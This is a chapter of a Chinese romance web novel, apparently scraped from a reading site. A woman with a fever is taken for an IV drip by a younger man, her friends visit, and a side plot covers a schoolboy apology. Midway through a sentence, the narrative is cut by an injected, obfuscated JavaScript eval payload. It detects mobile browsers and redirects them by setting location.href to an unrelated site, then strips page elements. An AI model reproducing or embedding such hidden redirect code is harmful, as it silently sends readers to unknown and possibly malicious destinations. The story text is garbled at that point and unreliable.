17. 第 17 章 吊针
作品:《鸢尾年》 两人都洗漱完。
程鸢动作慢,李彧年就耐心的等着,不时注意着她的动向。
等程鸢穿好里头的衣服,已经耗了大半的力气。
此时正在和外套做挣扎,她头晕得厉害,眼前阵阵发黑,这衣服又不知道怎么了,死活都拉不上来。
手指在拉链头上来回摸索了好几次,要么抓不住,要么好不容易对上了齿,一拉就卡住,跟她作对似的。
李彧年干脆上前,微微蹲下,细心的从底部扣上拉链,从尾巴一直拉到头。
罩住了程鸢的半张脸,将整个人裹的严严实实的,只露出双没什么神采的眼睛。
而程鸢此刻也顾不得好看与否了。
“有口罩吗?”他问。
程鸢点点头,指了指玄关的柜子。
李彧年走过去翻找了一阵,拿了两个医用口罩,拆开一个递到她面前,自己也戴上了另一个。
他们在小区门口打了车。
像是别有用心一般,李彧年在输入地址时,选择了“人民医院”,而不是她们常去的中心医院。
其实他是有驾照的,但怕程鸢不放心,又是上班高峰期,稳妥些还是打车好。
订单显示司机还要十分钟才能到,李彧年抬眼扫了圈四周,见有家早餐店,没听程鸢的,执意跑了过去。
程鸢想拦都没来得及,只能站在原地看着他的背影。
怕来不及,他一路小跑过来,停在程鸢面前时,呼吸有些急促,但看着人的眼睛亮的惊人。
他细心地将鸡蛋剥了壳,又将吸管插进豆浆里,递给人。
发一晚上的烧,得消耗多少精气神,胃里早已空空如也,可根本没胃口。
程鸢接过早饭没动,但一旁的人直勾勾的看着她,像是她不吃他就不罢休一般。
“吃点吧。”他无奈地劝道。
程鸢没辙,只好摘下口罩,机械的吸溜着豆浆,嘴巴里索然无味。
吃到一半突然想起李彧年也什么都没吃,她把自己吃了一半的鸡蛋取出捏在指尖,将剩下的另一个递给人,用眼神示意他。
李彧年接过,三下五除二,便将那鸡蛋解决了。
好在,到医院确定了只是感冒,并不是糟心的甲流之类的传染病,只要挂两天水就好了。
李彧年去药房领了药和挂水的输液袋带着人去到挂水的地方。
全程他的手都紧紧握着程鸢的胳膊没松开,给无力的程鸢多了很大的支撑。
输液室在走廊尽头,推门进去时,消毒水的味道扑面而来。
护士熟练的接过药框,将药袋挂好,插入输液器,排出里面的空气。
程鸢穿着多了些,李彧年见状,干脆俯下身帮她,小心地把两层袖子往上卷了卷,露出她半截纤细的胳膊。
护士拿出橡胶皮带,在她小臂上轻轻一勒,淡青色的血管才勉强显露出一点轮廓。
护士伸出手指,在她手背上轻轻拍了拍,又换了个角度按了按,眉头几不可察地蹙了起来:“血管好细啊。”
本来天气开始冷了,血管就收缩,这下更不好找。
她用碘伏对打针部位消了消毒。针缓缓扎了进去,可却不见血。
“你这血管可太细了,不好扎。”
她只得重新将针拔出,棉签迅速摁在针孔处。
李彧年接过,拇指按着棉签,另一只手轻轻将程鸢被卷上去的袖子拨下来。
“换只手吧。”
程鸢无声叹息,只好将右手伸出。
针尖再次刺入的瞬间,她闭了闭眼。
这次倒是很快见了血,只是那回血的速度慢得惊人,在透明的针管里晕开淡淡的红。
“还是不行。”这下这小护士不好意思起来,语气有着歉意与不安,额头上也隐约可见细密的汗珠。
也不知道是经验不够还是今天光线不好。
程鸢自己用左手按着右手,没有说话。
李彧年的手跟着移过去,脸色不太好看,眼睫垂下,看着她的手。
护士再次调整位置,深吸一口气,准备进行下一次尝试。
这一次,她更加谨慎,动作轻柔而缓慢,
眼见着就要往里扎,程鸢像是被扎怕了一般,没多想扭过头,把脸埋在身后李彧年的怀里。
李彧年的身子一僵,反应过来后,一手摁着她的手背,另一只手的手掌小心翼翼地盖上她的后脑。
程鸢的心里闪过一丝异样,但很快手背上传来的疼痛让她没有心思再想。
终于见到回血后,那护士松了口气,用无菌透明敷贴固定住针头,拉开橡胶皮带。
她能感觉那女生后面的人用冷冷的眸子盯着她,压迫感极强。
她可真怕再扎不进去,这人就要找上他们护士长来扎了。
李彧年将按着的棉花拿开,手背上没再出血。
他小心地将那袋还剩大半的输液袋高高举起,另一只手稳稳抓着程鸢扎针的那只胳膊,找了个人少的角落坐下。
他伸手把药袋挂上钩子,“还疼吗?”看着棉花拿掉后,明显的两个红色针眼问,眼底神色不明。
“就疼那一下,哪会一直疼。”
见他那样,程鸢不免有些好笑。
“是昨晚冻感冒的吧。”李彧年抬起眼睫看着人,似乎是猜到了,眼神真诚又带着愧疚和自责。
“对不起。”
“这有什么的。”程鸢笑着说,她嗓子还很疼,不欲多说话,只伸出没扎针的那只手轻轻拍了拍他的头安抚。
李彧年的发质很好,又软又顺的,就像小动物身上的毛发,她忍不住又揉了一把。
那天,李彧年陪了程鸢一整个下午,不论程鸢怎么说,都不肯走,直到晚上贴心的将她送回家。
蒋昭几个知道赵涛她们背地里耍阴招之后气的要命,恨不得现在就去找人干他们一顿。
“真够阴险的。”他的脚狠狠踹在椅子上,发出一声巨响,双手紧握成拳,指关节因用力而泛白,“靠,一群贼孙子!”
许蔚也难得生了气,声音低沉,每个字都像是从牙缝中挤出来的:“算什么男人!”
宁祈安和林蔚楠赶紧将暴怒的两个人拦下,被程鸢训过一顿后,他可不想再惹是生非了。
哪成想,中午在食堂吃饭时,恰好遇到了梁盛这几个,见到人的瞬间,蒋昭的脸色顿时阴沉了下来。
而梁盛几个竟然还直愣愣地就冲着他们走来了,直至在他们的桌子前停下。
“怎么,还想打架?”许蔚块头大,率先起身挡在他们面前,皱着眉问。
宁祈安几个连忙都站了起来。
气氛顿时剑拔弩张起来。
然而,“对不住兄弟。”梁盛一句话将几个人干懵了。
他们对视了一眼,有一些莫名其妙,不知道梁盛想搞什么名堂。
“我不知道他们搞了这出,现在把人带过来跟你们道歉。”
他的手向后使劲拽了一下,扯了个人上来。
“对不住了。”刘启元看着他们说,眼神中似乎还颇有些不爽。
另外两个人也轮番上来道歉。
直至剩下赵涛,他闭着嘴,脸色难看,满脸的不服气。
梁盛用力扯了一下他的领子,沉声说:“道歉!”
他这才颇有些屈辱的开口:“对不住。”
“做事情光明正大的,耍阴招就没意思了。”宁祈安点点头,他的眼扫过赵涛,将他脸上的愤恨看在眼里,警告地说。
他们都清楚梁盛没什么坏心思,只是狂妄,但是这个赵涛确实不是个好东西。
“是我没把人看好。”
“行,这几声对不住我们收下了。”
今天这针挂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960155|177413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的程鸢昏昏欲睡,她的状态好了很多,烧是退了,只是还有些咳嗽。
冰凉的药物注射进体内,让人忍不住的发寒颤。
她眯着眼,感觉到一毯子披到在她身上。
“来啦?”程鸢抬头看着眼前的两个人,赵青和跟萧燕寒。
萧燕寒算是她的发小,从穿开裆裤的年纪起就混在一起,两个人除了大学没在一起读,其余学生时代的十二年都是一起度过的。
而赵青禾刚巧是她的大学同学。
她介绍两人认识,没想到一拍即合,格外玩的来。
他插着兜站在前面,手里还拎着给程鸢带的晚饭。
“你耍帅呢?挡在前面干什么。”程鸢瞥他一眼,毫无留情地抨击。
“切,看在你是病人的分上懒得和你计较。”
赵青禾一屁股坐在她旁边。
“怎么样?”见她这生龙活虎的状态,赵青禾便知道她是好的差不多了。
比起昨天打视频时见到的萎靡不振的样子可好多了。
萧燕寒在另一边坐下,打开保温袋:“饿了吧,尝尝,爷亲手做的!”
他脸上带着掩饰不住的得意,眉毛都快扬到天上去了,那表情明摆着就是求表扬。
“这是要毒死我?”程鸢伸手捏起一块排骨闻了闻,故意拖长了调子
“啧,会不会说话。”他慢条斯理的取出保温盒,听到这话有些不满,轻轻用筷子敲了敲程鸢的手背。
保温盒被一层层的掀开,西红柿炒鸡蛋、肉末茄子、清炒土豆丝,卖相倒是不丑。
“大少爷发起癫想自己做饭,拦也拦不住。”赵青禾在程鸢耳边小声说,“差点没把厨房炸了,你就当第一个试验品哄哄他吧。”
程鸢嘴角抽了抽,拿起筷子,小心翼翼地夹了几条土豆丝往嘴里放,说不上特别难吃,也还勉强。
总觉着夹着生,不知道是不是错觉。
程鸢觉得萧燕寒还是比自己有做菜的天赋的。没忍心打击他,昧着良心给了些鼓励。
那少爷听到后,尾巴都快翘上天去:“赶紧给我都吃完,一口不许留。”
程鸢一口饭噎在嘴里,差点咽不下去。
赵青禾在一旁憋的快岔气了,幸灾乐祸的看着。
眼见着程鸢不再动筷,萧燕寒从她手里夺过筷子,夹起一块半大的鸡蛋就要往她嘴里塞。
她怎么见着上面还有一小块鸡蛋壳。
“滚啊!”她将头移开。
赵青禾赶紧阻止,一把拍开他的手:“行了行了,你体谅一下病人行不行。”
那盒饭几乎是没少多少,又被原封不动的盖上。
“我觉着你有点太拼了。”赵青和将毯子给她往上提了提,忍不住说。
不管是翻译公司给的活,还是同行搭档推荐的活,程鸢基本上都会接,一年几乎没太多休息的时间。
翻译又是个脑力活,大脑长期认知负荷,心理压力又大,难免影响身体。
“年轻不就是用来拼的。”程鸢叹了口气,淡淡地开口。
其实也不是,只是她闲下来也没有什么想干的事,不如多赚点钱,毕竟同传是吃青春饭的。
“醇廊赚的钱都能养得起两个你了。”赵青禾调侃着开口。
确实,不是假话。
醇廊开的大,生意又好,甚至有分店,程鸢又是最大的股东,每年能拿到的钱都是七位数起步。
她给了个安抚的眼神,轻轻拍了拍赵青禾的胳膊:“放心吧,我心里有数。”
“等你这病好了,去我那玩两天。”萧燕寒开口,“就当给自己放两天假。”
萧燕寒上半年在山上开了家民宿,在网上挺火的,程鸢一直想去来着,但没找到时间。
她点点头表示同意。
在病好后,程鸢还真就收拾收拾东西去住了几天。